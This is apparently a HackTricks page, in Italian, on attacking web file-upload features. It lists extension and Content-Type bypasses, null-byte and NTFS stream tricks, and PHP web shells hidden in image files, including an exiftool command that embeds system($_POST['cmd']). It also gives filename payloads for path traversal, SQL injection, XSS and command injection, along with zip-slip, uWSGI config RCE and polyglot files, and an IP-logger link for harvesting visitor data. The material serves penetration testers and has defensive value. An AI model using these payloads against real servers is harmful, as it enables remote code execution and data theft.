File Upload
Last updated
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Se sei interessato a una carriera nell'hacking e a hackare l'inhackabile - stiamo assumendo! (richiesta di polacco fluente scritto e parlato).
Altre estensioni utili:
PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
Funzionamento in PHPv8: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp
ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
Coldfusion: .cfm, .cfml, .cfc, .dbm
Flash: .swf
Perl: .pl, .cgi
Erlang Yaws Web Server: .yaws
Se applicabile, controlla le estensioni precedenti. Prova anche a usarle con alcune lettere maiuscole: pHp, .pHP5, .PhAr ...
Controlla aggiungendo un'estensione valida prima dell'estensione di esecuzione (usa anche le estensioni precedenti):
file.png.php
file.png.Php5
Prova ad aggiungere caratteri speciali alla fine. Potresti usare Burp per bruteforce tutti i caratteri ascii e Unicode. (Nota che puoi anche provare a usare le estensioni precedentemente menzionate)
file.php%20
file.php%0a
file.php%00
file.php%0d%0a
file.php/
file.php.\
file.
file.php....
file.pHp5....
Prova a bypassare le protezioni ingannando il parser delle estensioni del server con tecniche come raddoppiare l'estensione o aggiungere dati spazzatura (byte null) tra le estensioni. Puoi anche usare le estensioni precedenti per preparare un payload migliore.
file.png.php
file.png.pHp5
file.php#.png
file.php%00.png
file.php\x00.png
file.php%0a.png
file.php%0d%0a.png
file.phpJunk123png
Aggiungi un altro livello di estensioni al controllo precedente:
file.png.jpg.php
file.php%00.png%00.jpg
Prova a mettere l'estensione exec prima dell'estensione valida e spera che il server sia mal configurato. (utile per sfruttare le misconfigurazioni di Apache dove qualsiasi cosa con estensione _.php_, ma** non necessariamente che termina in .php** eseguirà codice):
es: file.php.png
Usando NTFS alternate data stream (ADS) in Windows. In questo caso, un carattere due punti “:” verrà inserito dopo un'estensione vietata e prima di una consentita. Di conseguenza, un file vuoto con l'estensione vietata verrà creato sul server (es. “file.asax:.jpg”). Questo file potrebbe essere modificato in seguito utilizzando altre tecniche come l'uso del suo nome breve. Il modello “::$data” può anche essere utilizzato per creare file non vuoti. Pertanto, aggiungere un carattere punto dopo questo modello potrebbe anche essere utile per bypassare ulteriori restrizioni (es. “file.asp::$data.”)
Prova a superare i limiti del nome del file. L'estensione valida viene tagliata. E il PHP malevolo rimane. AAA<--SNIP-->AAA.php
Bypass Content-Type controlli impostando il valore dell'intestazione Content-Type a: image/png, text/plain, application/octet-stream_
Content-Type wordlist: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt
Bypass magic number controllando aggiungendo all'inizio del file i byte di un'immagine reale (confondere il comando file). Oppure introduci la shell all'interno dei metadati:
exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
\
oppure potresti anche introdurre il payload direttamente in un'immagine:
echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
Se compressioni vengono aggiunte alla tua immagine, ad esempio utilizzando alcune librerie PHP standard come PHP-GD, le tecniche precedenti non saranno utili. Tuttavia, potresti usare la tecnica del chunk PLTE definita qui per inserire del testo che sopravviverà alla compressione.
La pagina web potrebbe anche ridimensionare l'immagine, utilizzando ad esempio le funzioni PHP-GD imagecopyresized
o imagecopyresampled
. Tuttavia, potresti usare la tecnica del chunk IDAT definita qui per inserire del testo che sopravviverà alla compressione.
Un'altra tecnica per creare un payload che sopravvive a un ridimensionamento dell'immagine, utilizzando la funzione PHP-GD thumbnailImage
. Tuttavia, potresti usare la tecnica del chunk tEXt definita qui per inserire del testo che sopravviverà alla compressione.
Trova una vulnerabilità per rinominare il file già caricato (per cambiare l'estensione).
Trova una vulnerabilità di Local File Inclusion per eseguire il backdoor.
Possibile divulgazione di informazioni:
Carica più volte (e allo stesso tempo) lo stesso file con lo stesso nome
Carica un file con il nome di un file o cartella che esiste già
Caricando un file con “.”, “..”, o “…” come nome. Ad esempio, in Apache in Windows, se l'applicazione salva i file caricati nella directory “/www/uploads/”, il nome file “.” creerà un file chiamato “uploads” nella directory “/www/”.
Carica un file che potrebbe non essere facilmente eliminato come “…:.jpg” in NTFS. (Windows)
Carica un file in Windows con caratteri non validi come |<>*?”
nel suo nome. (Windows)
Carica un file in Windows utilizzando nomi riservati (vietati) come CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, e LPT9.
Prova anche a caricare un eseguibile (.exe) o un .html (meno sospetto) che eseguirà codice quando accidentalmente aperto dalla vittima.
Se stai cercando di caricare file su un server PHP, dai un'occhiata al trucco .htaccess per eseguire codice. Se stai cercando di caricare file su un server ASP, dai un'occhiata al trucco .config per eseguire codice.
I file .phar
sono come i .jar
per java, ma per php, e possono essere utilizzati come un file php (eseguendolo con php, o includendolo all'interno di uno script...)
L'estensione .inc
è a volte utilizzata per file php che vengono utilizzati solo per importare file, quindi, a un certo punto, qualcuno potrebbe aver consentito l'esecuzione di questa estensione.
Se puoi caricare un file XML su un server Jetty puoi ottenere RCE perché nuovi *.xml e *.war vengono elaborati automaticamente. Quindi, come menzionato nell'immagine seguente, carica il file XML in $JETTY_BASE/webapps/
e aspettati la shell!
Per un'esplorazione dettagliata di questa vulnerabilità controlla la ricerca originale: uWSGI RCE Exploitation.
Le vulnerabilità di Remote Command Execution (RCE) possono essere sfruttate nei server uWSGI se si ha la capacità di modificare il file di configurazione .ini
. I file di configurazione uWSGI sfruttano una sintassi specifica per incorporare variabili "magiche", segnaposto e operatori. Notabilmente, l'operatore '@', utilizzato come @(filename)
, è progettato per includere i contenuti di un file. Tra i vari schemi supportati in uWSGI, lo schema "exec" è particolarmente potente, consentendo la lettura dei dati dall'output standard di un processo. Questa funzionalità può essere manipolata per scopi nefasti come Remote Command Execution o Arbitrary File Write/Read quando un file di configurazione .ini
viene elaborato.
Considera il seguente esempio di un file uwsgi.ini
dannoso, che mostra vari schemi:
L'esecuzione del payload avviene durante l'analisi del file di configurazione. Affinché la configurazione venga attivata e analizzata, il processo uWSGI deve essere riavviato (potenzialmente dopo un crash o a causa di un attacco di Denial of Service) oppure il file deve essere impostato per il caricamento automatico. La funzione di caricamento automatico, se abilitata, ricarica il file a intervalli specificati al rilevamento di modifiche.
È fondamentale comprendere la natura permissiva dell'analisi del file di configurazione di uWSGI. In particolare, il payload discusso può essere inserito in un file binario (come un'immagine o un PDF), ampliando ulteriormente l'ambito di potenziale sfruttamento.
In alcune occasioni potresti scoprire che un server sta utilizzando wget
per scaricare file e puoi indicare l'URL. In questi casi, il codice potrebbe controllare che l'estensione dei file scaricati sia all'interno di una whitelist per garantire che vengano scaricati solo file consentiti. Tuttavia, questo controllo può essere eluso.
La lunghezza massima di un nome file in linux è 255, tuttavia, wget tronca i nomi dei file a 236 caratteri. Puoi scaricare un file chiamato "A"*232+".php"+".gif", questo nome file eluderà il controllo (poiché in questo esempio ".gif" è un'estensione valida) ma wget
rinominerà il file in "A"*232+".php".
Nota che un'altra opzione che potresti considerare per bypassare questo controllo è far sì che il server HTTP reindirizzi a un file diverso, quindi l'URL iniziale bypasserà il controllo e wget scaricherà il file reindirizzato con il nuovo nome. Questo non funzionerà a meno che wget non venga utilizzato con il parametro --trust-server-names
perché wget scaricherà la pagina reindirizzata con il nome del file indicato nell'URL originale.
Upload Bypass è uno strumento potente progettato per assistere i Pentester e i Bug Hunter nel testare i meccanismi di upload dei file. Sfrutta varie tecniche di bug bounty per semplificare il processo di identificazione e sfruttamento delle vulnerabilità, garantendo valutazioni approfondite delle applicazioni web.
Imposta filename su ../../../tmp/lol.png
e prova a ottenere un path traversal
Imposta filename su sleep(10)-- -.jpg
e potresti essere in grado di ottenere una SQL injection
Imposta filename su <svg onload=alert(document.domain)>
per ottenere un XSS
Imposta filename su ; sleep 10;
per testare alcune iniezioni di comandi (altri trucchi di iniezione di comandi qui)
JS file upload + XSS = exploitation di Service Workers
Prova diversi payload svg da https://github.com/allanlw/svg-cheatsheet****
Se puoi indicare al server web di catturare un'immagine da un URL potresti provare ad abusare di un SSRF. Se questa immagine verrà salvata in qualche sito pubblico, potresti anche indicare un URL da https://iplogger.org/invisible/ e rubare informazioni di ogni visitatore.
PDF appositamente creati per XSS: La seguente pagina presenta come iniettare dati PDF per ottenere l'esecuzione di JS. Se puoi caricare PDF, potresti preparare alcuni PDF che eseguiranno JS arbitrario seguendo le indicazioni fornite.
Carica il [eicar](https://secure.eicar.org/eicar.com.txt) contenuto per controllare se il server ha qualche antivirus
Controlla se c'è qualche limite di dimensione nel caricamento di file
Ecco una lista delle 10 cose che puoi ottenere caricando (da qui):
ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
SVG: Stored XSS / SSRF / XXE
GIF: Stored XSS / SSRF
CSV: CSV injection
XML: XXE
AVI: LFI / SSRF
HTML / JS : HTML injection / XSS / Open redirect
PNG / JPEG: Pixel flood attack (DoS)
ZIP: RCE via LFI / DoS
PDF / PPTX: SSRF / BLIND XXE
PNG: "\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["
JPG: "\xff\xd8\xff"
Fai riferimento a https://en.wikipedia.org/wiki/List_of_file_signatures per altri tipi di file.
Se puoi caricare un ZIP che verrà decompresso all'interno del server, puoi fare 2 cose:
Carica un link contenente collegamenti simbolici ad altri file, quindi, accedendo ai file decompresso accederai ai file collegati:
La creazione imprevista di file in directory durante la decompressione è un problema significativo. Nonostante le assunzioni iniziali che questa configurazione potesse proteggere contro l'esecuzione di comandi a livello di OS tramite caricamenti di file dannosi, il supporto per la compressione gerarchica e le capacità di traversamento delle directory del formato ZIP possono essere sfruttati. Questo consente agli attaccanti di eludere le restrizioni e di uscire dalle directory di upload sicure manipolando la funzionalità di decompressione dell'applicazione mirata.
Un exploit automatizzato per creare tali file è disponibile su evilarc su GitHub. L'utilità può essere utilizzata come mostrato:
Inoltre, il trucco del symlink con evilarc è un'opzione. Se l'obiettivo è mirare a un file come /flag.txt
, dovrebbe essere creato un symlink a quel file nel tuo sistema. Questo assicura che evilarc non incontri errori durante il suo funzionamento.
Di seguito è riportato un esempio di codice Python utilizzato per creare un file zip malevolo:
Abusare della compressione per il file spraying
Per ulteriori dettagli controlla il post originale in: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/
Creazione di una Shell PHP: Il codice PHP è scritto per eseguire comandi passati attraverso la variabile $_REQUEST
.
File Spraying e Creazione di File Compressi: Vengono creati più file e viene assemblato un archivio zip contenente questi file.
Modifica con un Editor Hex o vi: I nomi dei file all'interno dello zip vengono alterati utilizzando vi o un editor hex, cambiando "xxA" in "../" per attraversare le directory.
Carica questo contenuto con un'estensione di immagine per sfruttare la vulnerabilità (ImageMagick , 7.0.1-1) (forma dell'exploit)
Incorporare una shell PHP nel chunk IDAT di un file PNG può bypassare efficacemente certe operazioni di elaborazione delle immagini. Le funzioni imagecopyresized
e imagecopyresampled
di PHP-GD sono particolarmente rilevanti in questo contesto, poiché sono comunemente utilizzate per ridimensionare e campionare nuovamente le immagini, rispettivamente. La capacità della shell PHP incorporata di rimanere inalterata da queste operazioni è un vantaggio significativo per alcuni casi d'uso.
Un'esplorazione dettagliata di questa tecnica, inclusa la sua metodologia e le potenziali applicazioni, è fornita nel seguente articolo: "Encoding Web Shells in PNG IDAT chunks". Questa risorsa offre una comprensione completa del processo e delle sue implicazioni.
Maggiore informazione in: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
I file poliglotti servono come uno strumento unico nella cybersecurity, agendo come camaleonti che possono esistere validamente in più formati di file contemporaneamente. Un esempio intrigante è un GIFAR, un ibrido che funziona sia come GIF che come archivio RAR. Tali file non sono limitati a questa accoppiata; combinazioni come GIF e JS o PPT e JS sono anche fattibili.
L'utilità principale dei file poliglotti risiede nella loro capacità di eludere le misure di sicurezza che filtrano i file in base al tipo. La prassi comune in varie applicazioni prevede di consentire solo determinati tipi di file per il caricamento—come JPEG, GIF o DOC—per mitigare il rischio posto da formati potenzialmente dannosi (ad es., JS, PHP o file Phar). Tuttavia, un poliglott, conformandosi ai criteri strutturali di più tipi di file, può eludere furtivamente queste restrizioni.
Nonostante la loro adattabilità, i poliglotti incontrano delle limitazioni. Ad esempio, mentre un poliglott potrebbe contemporaneamente incarnare un file PHAR (PHp ARchive) e un JPEG, il successo del suo caricamento potrebbe dipendere dalle politiche delle estensioni dei file della piattaforma. Se il sistema è rigoroso riguardo alle estensioni consentite, la mera dualità strutturale di un poliglott potrebbe non essere sufficiente a garantire il suo caricamento.
Maggiore informazione in: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
If you are interested in hacking career and hack the unhackable - we are hiring! (fluent polish written and spoken required).
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)